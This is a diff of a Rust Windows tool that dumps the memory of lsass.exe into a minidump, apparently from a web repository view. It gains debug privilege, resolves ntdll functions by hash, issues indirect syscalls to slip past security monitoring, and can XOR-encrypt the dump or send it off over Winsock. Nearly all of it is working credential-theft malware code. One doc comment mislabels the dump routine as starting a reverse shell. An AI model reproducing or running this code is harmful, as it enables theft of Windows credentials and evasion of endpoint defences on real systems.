let full_dll_name = read_remote_wstr(process_handle, full_dll_name_ptr);
|
||||
|
||||
// If a module hash is provided, filter by hash; otherwise, include all modules.
|
||||
match module_hash {
|
||||
Some(value) => {
|
||||
if value == dbj2_hash(base_dll_name.clone().as_bytes()) {
|
||||
module_info_arr.push(ModuleInfo {
|
||||
base_name: base_dll_name,
|
||||
full_dll_name,
|
||||
base_address: dll_base,
|
||||
region_size: 0,
|
||||
});
|
||||
|
||||
break; // Stop searching after finding the matching module.
|
||||
}
|
||||
}
|
||||
None => {
|
||||
module_info_arr.push(ModuleInfo {
|
||||
base_name: base_dll_name,
|
||||
full_dll_name,
|
||||
base_address: dll_base,
|
||||
region_size: 0,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Move to the next module in the list.
|
||||
next_flink = read_remote_int_ptr(process_handle, (next_flink + 0x10) as *mut c_void);
|
||||
}
|
||||
|
||||
module_info_arr
|
||||
}
|
||||
|
||||
/// Traverses and dumps the memory regions of a process, storing the memory regions and the memory dump.
|
||||
///
|
||||
/// This function iterates through the memory space of a process, queries memory information,
|
||||
/// reads the memory, and dumps it into the provided vectors.
|
||||
pub unsafe fn dump_memory_regions(
|
||||
process_handle: *mut c_void,
|
||||
module_info_list: &mut Vec<ModuleInfo>,
|
||||
memory64list: &mut Vec<MemoryRegion>,
|
||||
memory_regions: &mut Vec<u8>,
|
||||
) {
|
||||
// Initialize variables for memory region traversal and dumping.
|
||||
let mut memory_address: usize = 0; // Start memory address for dumping.
|
||||
let max_memory_address: usize = 0x7FFF_FFFE_FFFF; // The maximum user-mode address.
|
||||
let mut tmp_module_base_name = String::new(); // Auxiliary variable to store the module's base name.
|
||||
let mut tmp_memory_region_size = 0usize; // To track the size of the memory regions.
|
||||
|
||||
// Loop through the process's memory space until the maximum address is reached.
|
||||
while memory_address < max_memory_address {
|
||||
// Query information about the current memory region.
|
||||
if let Some(memory_info) = query_memory_info(process_handle, memory_address as *mut c_void)
|
||||
{
|
||||
// Check if the memory region is committed and accessible.
|
||||
if memory_info.protect != PAGE_NOACCESS && memory_info.state == MEM_COMMIT {
|
||||
// Try to match the current region with known modules based on their base addresses.
|
||||
let matching_object = module_info_list
|
||||
.iter_mut()
|
||||
.find(|obj| obj.base_name == tmp_module_base_name);
|
||||
|
||||
// If the region size is 0x1000 and does not match a module, update the module info.
|
||||
if memory_info.region_size == 0x1000
|
||||
&& memory_info.base_address as usize
|
||||
!= matching_object
|
||||
.as_ref()
|
||||
.map(|obj| obj.base_address)
|
||||
.unwrap_or(0)
|
||||
{
|
||||
// If a module was found, update its region size.
|
||||
if let Some(module) = matching_object {
|
||||
module.region_size = tmp_memory_region_size;
|
||||
}
|
||||
|
||||
// Update auxiliary name and size based on the current memory region.
|
||||
tmp_module_base_name = module_info_list
|
||||
.iter()
|
||||
.find(|module| module.base_address == memory_info.base_address as usize)
|
||||
.map(|module| module.base_name.clone())
|
||||
.unwrap_or_else(|| "Unknown".to_string());
|
||||
tmp_memory_region_size = memory_info.region_size as usize;
|
||||
} else {
|
||||
// Accumulate the region size.
|
||||
tmp_memory_region_size += memory_info.region_size as usize;
|
||||
}
|
||||
|
||||
// Read the memory region if it's valid and dump it.
|
||||
if let Some(buffer) = read_memory(
|
||||
process_handle as *mut c_void,
|
||||
memory_info.base_address as *mut c_void,
|
||||
memory_info.region_size as usize,
|
||||
) {
|
||||
// Append the read memory region to the dump.
|
||||
memory_regions.extend_from_slice(&buffer);
|
||||
// Add the memory region to the list of dumped regions.
|
||||
memory64list.push(MemoryRegion {
|
||||
base_address: memory_address,
|
||||
region_size: memory_info.region_size as usize,
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
// Move to the next memory region by incrementing the memory address.
|
||||
memory_address += memory_info.region_size as usize;
|
||||
} else {
|
||||
// If querying the memory fails, print an error message and break out of the loop.
|
||||
debug_println!(
|
||||
"[-] Failed to query memory at address: ",
|
||||
memory_address as usize,
|
||||
true
|
||||
);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Update the region size of the last matched module.
|
||||
if let Some(module) = module_info_list
|
||||
.iter_mut()
|
||||
.find(|module| module.base_name == tmp_module_base_name)
|
||||
{
|
||||
module.region_size = tmp_memory_region_size;
|
||||
}
|
||||
}
|
||||
@@ -1,9 +1,6 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use alloc::{string::String, vec::Vec};
|
||||
|
||||
use crate::{debug_println, ntapi::def::OSVersionInfo};
|
||||
use crate::{debug_println, native::ntdef::OSVersionInfo};
|
||||
|
||||
// Struct for holding information about a module (DLL), including its base name,
|
||||
// full path, base address in memory, and the size of the memory region it occupies.
|
||||
@@ -45,12 +42,16 @@ pub fn generate_memory_dump_file(
|
||||
let offset_memory_regions = mem64list_offset + mem64list_size; // The actual memory dump data comes after Memory64List.
|
||||
|
||||
// Debug prints to show calculated values if verbose mode is enabled.
|
||||
debug_println!("[+] Total number of modules: {}", number_modules);
|
||||
debug_println!("[+] ModuleListStream size: {}", modulelist_size);
|
||||
debug_println!("[+] Mem64List offset: {}", mem64list_offset);
|
||||
debug_println!("[+] Mem64List size: {}", mem64list_size);
|
||||
debug_println!("[+] Regions memory dump size: {}", regions_memdump.len());
|
||||
debug_println!("[+] Number of memory regions: {}", memory64list.len());
|
||||
debug_println!("[+] Total number of modules: ", number_modules, false);
|
||||
debug_println!("[+] ModuleListStream size: ", modulelist_size, false);
|
||||
debug_println!("[+] Mem64List offset: ", mem64list_offset, false);
|
||||
debug_println!("[+] Mem64List size: ", mem64list_size, false);
|
||||
debug_println!(
|
||||
"[+] Regions memory dump size: ",
|
||||
regions_memdump.len(),
|
||||
false
|
||||
);
|
||||
debug_println!("[+] Number of memory regions: ", memory64list.len(), false);
|
||||
|
||||
// **Header section for the dump file**
|
||||
let mut header: Vec<u8> = Vec::new();
|
||||
@@ -0,0 +1,2 @@
|
||||
pub mod dump;
|
||||
pub mod mdfile;
|
||||
@@ -0,0 +1 @@
|
||||
pub mod xor;
|
||||
+10
-11
@@ -2,22 +2,22 @@ use alloc::vec::Vec;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::{
|
||||
dump::dump_memory_regions,
|
||||
mdfile::{MemoryRegion, ModuleInfo},
|
||||
ntapi::{
|
||||
def::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
|
||||
memory::get_modules_info,
|
||||
privilege::enable_se_debug_privilege,
|
||||
process::get_process_handle_by_name,
|
||||
dumper::{
|
||||
dump::{dump_memory_regions, get_modules_info},
|
||||
mdfile::{MemoryRegion, ModuleInfo},
|
||||
},
|
||||
native::{
|
||||
ntdef::{PROCESS_QUERY_INFORMATION, PROCESS_VM_READ},
|
||||
ntpsapi::{enable_se_debug_privilege, get_process_handle_by_name},
|
||||
},
|
||||
};
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use crate::ntapi::file::save_file;
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
use crate::remote::winsock::send_file;
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
use crate::native::ntfile::save_file;
|
||||
|
||||
/// Enables SeDebugPrivilege for the process.
|
||||
/// This is necessary to access system processes like `lsass.exe`.
|
||||
pub fn initialize_privileges() -> i32 {
|
||||
@@ -48,7 +48,6 @@ pub fn perform_memory_dump(
|
||||
let mut memory64list: Vec<MemoryRegion> = Vec::new();
|
||||
let mut memory_regions: Vec<u8> = Vec::new();
|
||||
|
||||
// Unsafe call to dump memory regions of the process.
|
||||
unsafe {
|
||||
dump_memory_regions(
|
||||
process_handle,
|
||||
|
||||
@@ -0,0 +1,57 @@
|
||||
use crate::native::{ntapi::NtDll, ntdef::find_peb};
|
||||
|
||||
#[cfg(feature = "debug")]
|
||||
use crate::debug::k32::Kernel32;
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
use crate::remote::winsock::Winsock;
|
||||
|
||||
// A magic number to identify a valid `Instance` struct
|
||||
pub const INSTANCE_MAGIC: u32 = 0x17171717;
|
||||
|
||||
#[repr(C)]
|
||||
// The main structure holding system API modules and the magic value
|
||||
pub struct Instance {
|
||||
pub magic: u32, // Unique value to identify a valid instance
|
||||
pub ntdll: NtDll, // NtDll API functions
|
||||
|
||||
#[cfg(feature = "debug")]
|
||||
pub k32: Kernel32, // Kernel32 API functions
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
pub winsock: Winsock, // Winsock API functions
|
||||
}
|
||||
|
||||
impl Instance {
|
||||
pub fn new() -> Self {
|
||||
Instance {
|
||||
magic: INSTANCE_MAGIC,
|
||||
ntdll: NtDll::new(),
|
||||
|
||||
#[cfg(feature = "debug")]
|
||||
k32: Kernel32::new(),
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
winsock: Winsock::new(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Attempts to locate the global `Instance` by scanning process heaps and
|
||||
/// returns a mutable reference to it if found.
|
||||
pub unsafe fn get_instance() -> Option<&'static mut Instance> {
|
||||
let peb = find_peb(); // Locate the PEB (Process Environment Block)
|
||||
let process_heaps = (*peb).process_heaps;
|
||||
let number_of_heaps = (*peb).number_of_heaps as usize;
|
||||
|
||||
for i in 0..number_of_heaps {
|
||||
let heap = *process_heaps.add(i);
|
||||
if !heap.is_null() {
|
||||
let instance = &mut *(heap as *mut Instance);
|
||||
if instance.magic == INSTANCE_MAGIC {
|
||||
return Some(instance); // Return the instance if the magic value matches
|
||||
}
|
||||
}
|
||||
}
|
||||
None
|
||||
}
|
||||
+34
-28
@@ -2,35 +2,46 @@
|
||||
#![no_main]
|
||||
|
||||
extern crate alloc;
|
||||
extern crate panic_halt;
|
||||
|
||||
use core::ptr::null_mut;
|
||||
|
||||
mod common;
|
||||
mod dump;
|
||||
mod helper;
|
||||
mod mdfile;
|
||||
mod ntapi;
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
mod remote;
|
||||
|
||||
use dumper::mdfile::generate_memory_dump_file;
|
||||
use helper::{
|
||||
get_process_handle, handle_output_file, initialize_privileges, perform_memory_dump,
|
||||
retrieve_modules,
|
||||
};
|
||||
use mdfile::generate_memory_dump_file;
|
||||
use ntapi::{allocator::NtVirtualAlloc, def::OSVersionInfo, utils::rtl_get_version};
|
||||
use instance::get_instance;
|
||||
use native::ntdef::OSVersionInfo;
|
||||
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
use crate::native::ntpsapi::rtl_get_version;
|
||||
|
||||
mod common;
|
||||
mod dumper;
|
||||
mod helper;
|
||||
mod instance;
|
||||
mod native;
|
||||
mod premain;
|
||||
|
||||
#[cfg(feature = "debug")]
|
||||
mod debug;
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
use crate::common::xor::xor_bytes;
|
||||
mod encrypt;
|
||||
|
||||
#[cfg(feature = "xor")]
|
||||
use encrypt::xor::xor_bytes;
|
||||
|
||||
#[cfg(feature = "remote")]
|
||||
mod remote;
|
||||
|
||||
// Set a custom global allocator
|
||||
use crate::native::allocator::NtVirtualAlloc;
|
||||
|
||||
#[global_allocator]
|
||||
static GLOBAL: NtVirtualAlloc = NtVirtualAlloc;
|
||||
|
||||
#[no_mangle]
|
||||
pub extern "C" fn _start() {
|
||||
/// Initializes system modules and functions, and then starts a reverse shell.
|
||||
pub unsafe fn dumpit() {
|
||||
#[cfg(not(feature = "remote"))]
|
||||
let output_file_name = "rustive.dmp";
|
||||
|
||||
@@ -53,11 +64,13 @@ pub extern "C" fn _start() {
|
||||
debug_println!("[-] Failed to retrieve process handle. Exiting!");
|
||||
return;
|
||||
}
|
||||
debug_println!("[+] Process handle: {:?}", process_handle);
|
||||
|
||||
debug_println!("[+] Process handle: ", process_handle as usize, true);
|
||||
|
||||
// Retrieve the list of loaded modules in the target process.
|
||||
let mut module_info_list = retrieve_modules(process_handle);
|
||||
if module_info_list.is_empty() {
|
||||
unsafe { get_instance().unwrap().ntdll.nt_close.run(process_handle) };
|
||||
debug_println!("[-] No modules found. Exiting!");
|
||||
return;
|
||||
}
|
||||
@@ -65,12 +78,14 @@ pub extern "C" fn _start() {
|
||||
// Dumps the memory regions of the target process.
|
||||
let (memory64list, memory_regions) = perform_memory_dump(process_handle, &mut module_info_list);
|
||||
|
||||
unsafe { get_instance().unwrap().ntdll.nt_close.run(process_handle) };
|
||||
|
||||
// Retrieve OS version information.
|
||||
let mut version_info = OSVersionInfo::new();
|
||||
let status = unsafe { rtl_get_version(&mut version_info) };
|
||||
if status != 0 {
|
||||
debug_println!(
|
||||
"[-] Failed to retrieve OS Version from PEB. NTSTATUS: 0x{:X}",
|
||||
"[-] Failed to retrieve OS Version from PEB with status: ",
|
||||
status
|
||||
);
|
||||
}
|
||||
@@ -97,12 +112,3 @@ pub extern "C" fn _start() {
|
||||
#[cfg(not(feature = "remote"))]
|
||||
handle_output_file(file_bytes_to_use, output_file_name);
|
||||
}
|
||||
|
||||
#[cfg(not(test))]
|
||||
use core::panic::PanicInfo;
|
||||
|
||||
#[cfg(not(test))]
|
||||
#[panic_handler]
|
||||
fn panic(_info: &PanicInfo) -> ! {
|
||||
loop {}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,61 @@
|
||||
use core::{
|
||||
alloc::{GlobalAlloc, Layout},
|
||||
ffi::c_void,
|
||||
ptr::null_mut,
|
||||
};
|
||||
|
||||
use crate::{instance::get_instance, run_syscall};
|
||||
|
||||
pub struct NtVirtualAlloc;
|
||||
|
||||
unsafe impl GlobalAlloc for NtVirtualAlloc {
|
||||
/// Allocates memory as described by the given `layout` using NT system calls.
|
||||
///
|
||||
/// This function uses the `NtAllocateVirtualMemory` system call to allocate memory.
|
||||
/// The memory is allocated with `PAGE_READWRITE` protection, which allows both
|
||||
/// reading and writing.
|
||||
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
|
||||
// Pointer to the allocated memory.
|
||||
let mut p_address: *mut c_void = null_mut();
|
||||
// Size of the memory to allocate.
|
||||
let region_size = layout.size();
|
||||
// Handle to the current process (-1).
|
||||
let h_process: *mut u8 = -1isize as _;
|
||||
|
||||
if let Some(instance) = get_instance() {
|
||||
run_syscall!(
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.number,
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.address as usize,
|
||||
h_process,
|
||||
&mut p_address,
|
||||
0,
|
||||
&mut (region_size as usize) as *mut usize,
|
||||
0x3000, // MEM_COMMIT | MEM_RESERVE
|
||||
0x04 // PAGE_READWRITE
|
||||
);
|
||||
}
|
||||
|
||||
p_address as *mut u8
|
||||
}
|
||||
|
||||
/// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls.
|
||||
///
|
||||
/// This function uses the `NtFreeVirtualMemory` system call to deallocate memory.
|
||||
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
|
||||
// Size of the memory to deallocate.
|
||||
let mut region_size = layout.size();
|
||||
// Handle to the current process (-1).
|
||||
let h_process: *mut u8 = -1isize as _;
|
||||
|
||||
if let Some(instance) = get_instance() {
|
||||
run_syscall!(
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.number,
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.address as usize,
|
||||
h_process,
|
||||
&mut (ptr as *mut c_void),
|
||||
&mut region_size,
|
||||
0x8000 // MEM_RELEASE
|
||||
);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,50 +1,6 @@
|
||||
use core::arch::global_asm;
|
||||
|
||||
global_asm!(
|
||||
r#"
|
||||
.globl do_syscall
|
||||
|
||||
.section .text
|
||||
|
||||
do_syscall:
|
||||
mov [rsp - 0x8], rsi
|
||||
mov [rsp - 0x10], rdi
|
||||
mov [rsp - 0x18], r12
|
||||
|
||||
xor r10, r10
|
||||
mov rax, rcx
|
||||
mov r10, rax
|
||||
|
||||
mov eax, ecx
|
||||
|
||||
mov r12, rdx
|
||||
mov rcx, r8
|
||||
|
||||
mov r10, r9
|
||||
mov rdx, [rsp + 0x28]
|
||||
mov r8, [rsp + 0x30]
|
||||
mov r9, [rsp + 0x38]
|
||||
|
||||
sub rcx, 0x4
|
||||
jle skip
|
||||
|
||||
lea rsi, [rsp + 0x40]
|
||||
lea rdi, [rsp + 0x28]
|
||||
|
||||
rep movsq
|
||||
skip:
|
||||
mov rcx, r12
|
||||
|
||||
mov rsi, [rsp - 0x8]
|
||||
mov rdi, [rsp - 0x10]
|
||||
mov r12, [rsp - 0x18]
|
||||
|
||||
jmp rcx
|
||||
"#
|
||||
);
|
||||
|
||||
extern "C" {
|
||||
pub fn do_syscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32;
|
||||
// Declaration of an external syscall function with a variadic argument list
|
||||
pub fn isyscall(ssn: u16, addr: usize, n_args: u32, ...) -> i32;
|
||||
}
|
||||
|
||||
#[cfg(target_arch = "x86_64")]
|
||||
@@ -62,7 +18,7 @@ macro_rules! run_syscall {
|
||||
|
||||
// Perform the syscall with the given number, address (offset by 0x12),
|
||||
// argument count, and the arguments
|
||||
unsafe { $crate::ntapi::syscall_gate::do_syscall($ssn, $addr + 0x12, cnt, $($y), +) }
|
||||
unsafe { $crate::native::gate::isyscall($ssn, $addr + 0x12, cnt, $($y), +) }
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -71,7 +27,6 @@ const UP: isize = -32; // Constant for upward memory search
|
||||
const DOWN: usize = 32; // Constant for downward memory search
|
||||
|
||||
pub unsafe fn get_ssn(address: *mut u8) -> u16 {
|
||||
// Check if the address is null
|
||||
if address.is_null() {
|
||||
return 0;
|
||||
}
|
||||
@@ -85,7 +40,6 @@ pub unsafe fn get_ssn(address: *mut u8) -> u16 {
|
||||
&& address.add(6).read() == 0x00
|
||||
&& address.add(7).read() == 0x00
|
||||
{
|
||||
// Extract the syscall number from the instruction
|
||||
let high = address.add(5).read() as u16;
|
||||
let low = address.add(4).read() as u16;
|
||||
return ((high << 8) | low) as u16;
|
||||
@@ -0,0 +1,135 @@
|
||||
use alloc::string::String;
|
||||
use alloc::vec;
|
||||
use alloc::vec::Vec;
|
||||
use core::ffi::c_void;
|
||||
|
||||
use crate::{instance::get_instance, native::ntdef::MemoryBasicInformation};
|
||||
|
||||
/// Reads memory from a remote process into a buffer.
|
||||
///
|
||||
/// Takes a process handle, an address, and the size of the memory to read.
|
||||
/// Returns a `Vec<u8>` containing the memory contents, or `None` if reading fails.
|
||||
pub fn read_memory(
|
||||
process_handle: *mut c_void,
|
||||
address: *mut c_void,
|
||||
size: usize,
|
||||
) -> Option<Vec<u8>> {
|
||||
// Allocate a buffer for the memory to be read.
|
||||
let mut buffer = vec![0u8; size];
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Perform the memory read operation using the NT API.
|
||||
let result = unsafe {
|
||||
get_instance().unwrap().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
size,
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
// Return the buffer if successful, otherwise return None.
|
||||
if result == 0 && bytes_read > 0 {
|
||||
Some(buffer)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Queries information about a memory region in a remote process.
|
||||
///
|
||||
/// Returns a `MemoryBasicInformation` struct containing details about the memory region,
|
||||
/// or `None` if querying fails.
|
||||
pub fn query_memory_info(
|
||||
process_handle: *mut c_void,
|
||||
base_address: *mut c_void,
|
||||
) -> Option<MemoryBasicInformation> {
|
||||
let mut mem_info: MemoryBasicInformation = unsafe { core::mem::zeroed() };
|
||||
|
||||
// Query memory information for the given address in the remote process.
|
||||
let result = unsafe {
|
||||
get_instance().unwrap().ntdll.nt_query_virtual_memory.run(
|
||||
process_handle,
|
||||
base_address,
|
||||
0,
|
||||
&mut mem_info as *mut _ as *mut c_void,
|
||||
core::mem::size_of::<MemoryBasicInformation>() as usize,
|
||||
core::ptr::null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
// Return memory information if successful, otherwise return None.
|
||||
if result == 0 {
|
||||
Some(mem_info)
|
||||
} else {
|
||||
None
|
||||
}
|
||||
}
|
||||
|
||||
/// Reads a wide string (UTF-16) from a remote process's memory.
|
||||
///
|
||||
/// Converts the UTF-16 encoded string from the remote process into a `String` and returns it.
|
||||
/// If reading fails or the string is invalid, returns an empty `String`.
|
||||
pub fn read_remote_wstr(process_handle: *mut c_void, mem_address: *mut c_void) -> String {
|
||||
let mut buffer = vec![0u8; 512]; // Buffer for reading memory.
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Read memory from the remote process.
|
||||
let status = unsafe {
|
||||
get_instance().unwrap().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
mem_address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
buffer.len(),
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
if status == 0 {
|
||||
let mut u16_vec = Vec::new();
|
||||
// Process the buffer in chunks of 2 bytes (for UTF-16 encoding).
|
||||
for chunk in buffer.chunks(2) {
|
||||
if chunk.len() < 2 {
|
||||
break;
|
||||
}
|
||||
let word = u16::from_le_bytes([chunk[0], chunk[1]]);
|
||||
if word == 0 {
|
||||
break;
|
||||
}
|
||||
u16_vec.push(word);
|
||||
}
|
||||
// Convert the UTF-16 data into a Rust String.
|
||||
String::from_utf16(&u16_vec).unwrap_or_else(|_| String::new())
|
||||
} else {
|
||||
String::new()
|
||||
}
|
||||
}
|
||||
|
||||
/// Reads a pointer-sized integer from a remote process's memory.
|
||||
///
|
||||
/// Returns the integer value read from the memory address in the remote process,
|
||||
/// or `0` if the read operation fails.
|
||||
pub fn read_remote_int_ptr(process_handle: *mut c_void, mem_address: *mut c_void) -> usize {
|
||||
let mut buffer = [0u8; 8]; // Buffer for reading an integer (64 bits).
|
||||
let mut bytes_read: usize = 0;
|
||||
|
||||
// Read the pointer-sized integer from the remote process.
|
||||
let status = unsafe {
|
||||
get_instance().unwrap().ntdll.nt_read_virtual_memory.run(
|
||||
process_handle,
|
||||
mem_address,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
buffer.len(),
|
||||
&mut bytes_read,
|
||||
)
|
||||
};
|
||||
|
||||
// Convert the bytes into a 64-bit unsigned integer and return it as usize.
|
||||
if status == 0 {
|
||||
let value = u64::from_le_bytes(buffer);
|
||||
value as usize
|
||||
} else {
|
||||
0
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,9 @@
|
||||
pub mod allocator;
|
||||
pub mod gate;
|
||||
pub mod memory;
|
||||
pub mod ntapi;
|
||||
pub mod ntdef;
|
||||
pub mod ntpsapi;
|
||||
|
||||
#[cfg(not(feature = "remote"))]
|
||||
pub mod ntfile;
|
||||
@@ -4,11 +4,16 @@ use core::{
|
||||
};
|
||||
|
||||
use crate::{
|
||||
ntapi::def::{AccessMask, IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString},
|
||||
common::ldrapi::{ldr_function, ldr_module},
|
||||
instance::get_instance,
|
||||
native::{
|
||||
gate::get_ssn,
|
||||
ntdef::{IoStatusBlock, LargeInteger, ObjectAttributes, UnicodeString},
|
||||
},
|
||||
run_syscall,
|
||||
};
|
||||
|
||||
use super::def::TokenPrivileges;
|
||||
use super::ntdef::TokenPrivileges;
|
||||
|
||||
pub struct NtSyscall {
|
||||
/// The number of the syscall
|
||||
@@ -186,7 +191,7 @@ impl NtOpenProcess {
|
||||
pub fn run(
|
||||
&self,
|
||||
process_handle: &mut *mut c_void,
|
||||
desired_access: AccessMask,
|
||||
desired_access: c_ulong,
|
||||
object_attributes: &mut ObjectAttributes,
|
||||
client_id: *mut c_void,
|
||||
) -> i32 {
|
||||
@@ -475,7 +480,7 @@ impl NtOpenProcessToken {
|
||||
pub fn run(
|
||||
&self,
|
||||
process_handle: *mut c_void,
|
||||
desired_access: AccessMask,
|
||||
desired_access: c_ulong,
|
||||
token_handle: &mut *mut c_void,
|
||||
) -> i32 {
|
||||
run_syscall!(
|
||||
@@ -592,3 +597,110 @@ impl NtDll {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub unsafe fn init_ntdll_funcs() {
|
||||
const NTDLL_HASH: u32 = 0x1edab0ed;
|
||||
|
||||
let instance = get_instance().unwrap();
|
||||
|
||||
instance.ntdll.module_base = ldr_module(NTDLL_HASH);
|
||||
|
||||
// Resolve LdrLoadDll
|
||||
let ldr_load_dll_addr = ldr_function(instance.ntdll.module_base, 0x9e456a43);
|
||||
instance.ntdll.ldr_load_dll = core::mem::transmute(ldr_load_dll_addr);
|
||||
|
||||
// NtAllocateVirtualMemory
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_allocate_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_allocate_virtual_memory.syscall.address);
|
||||
|
||||
// NtFreeVirtualMemory
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_free_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_free_virtual_memory.syscall.address);
|
||||
|
||||
// NtReadVirtualMemory
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_read_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_read_virtual_memory.syscall.address);
|
||||
|
||||
// NtQueryVirtualMemory
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_virtual_memory.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_virtual_memory.syscall.address);
|
||||
|
||||
// NtOpenProcess
|
||||
instance.ntdll.nt_open_process.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_open_process.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_open_process.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_open_process.syscall.address);
|
||||
|
||||
// NtQuerySystemInformation
|
||||
instance.ntdll.nt_query_system_information.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_system_information.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_system_information.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_system_information.syscall.address);
|
||||
|
||||
// NtQueryInformationProcess
|
||||
instance.ntdll.nt_query_information_process.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_query_information_process.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_query_information_process.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_query_information_process.syscall.address);
|
||||
|
||||
// NtCreateFile
|
||||
instance.ntdll.nt_create_file.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_create_file.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_create_file.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_create_file.syscall.address);
|
||||
|
||||
// NtWriteFile
|
||||
instance.ntdll.nt_write_file.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_write_file.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_write_file.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_write_file.syscall.address);
|
||||
|
||||
// NtClose
|
||||
instance.ntdll.nt_close.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_close.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_close.syscall.number = get_ssn(instance.ntdll.nt_close.syscall.address);
|
||||
|
||||
// NtOpenProcessToken
|
||||
instance.ntdll.nt_open_process_token.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_open_process_token.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_open_process_token.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_open_process_token.syscall.address);
|
||||
|
||||
// NtAdjustPrivilegesToken
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.address = ldr_function(
|
||||
instance.ntdll.module_base,
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.hash,
|
||||
);
|
||||
instance.ntdll.nt_adjust_privileges_token.syscall.number =
|
||||
get_ssn(instance.ntdll.nt_adjust_privileges_token.syscall.address);
|
||||
}
|
||||
@@ -1,14 +1,9 @@
|
||||
use core::{
|
||||
arch::asm,
|
||||
ffi::{c_long, c_ulong, c_void},
|
||||
ptr,
|
||||
};
|
||||
use core::arch::asm;
|
||||
use core::ffi::{c_long, c_ulong, c_void};
|
||||
use core::ptr;
|
||||
|
||||
use crate::common::utils::string_length_w;
|
||||
|
||||
pub const PROCESS_QUERY_INFORMATION: AccessMask = 0x0400;
|
||||
pub const PROCESS_VM_READ: AccessMask = 0x0010;
|
||||
|
||||
pub const IMAGE_DOS_SIGNATURE: u16 = 0x5A4D; // "MZ"
|
||||
pub const IMAGE_NT_SIGNATURE: u32 = 0x00004550; // "PE\0\0"
|
||||
|
||||
@@ -52,80 +47,6 @@ impl UnicodeString {
|
||||
}
|
||||
}
|
||||
|
||||
pub type ULONG = c_ulong;
|
||||
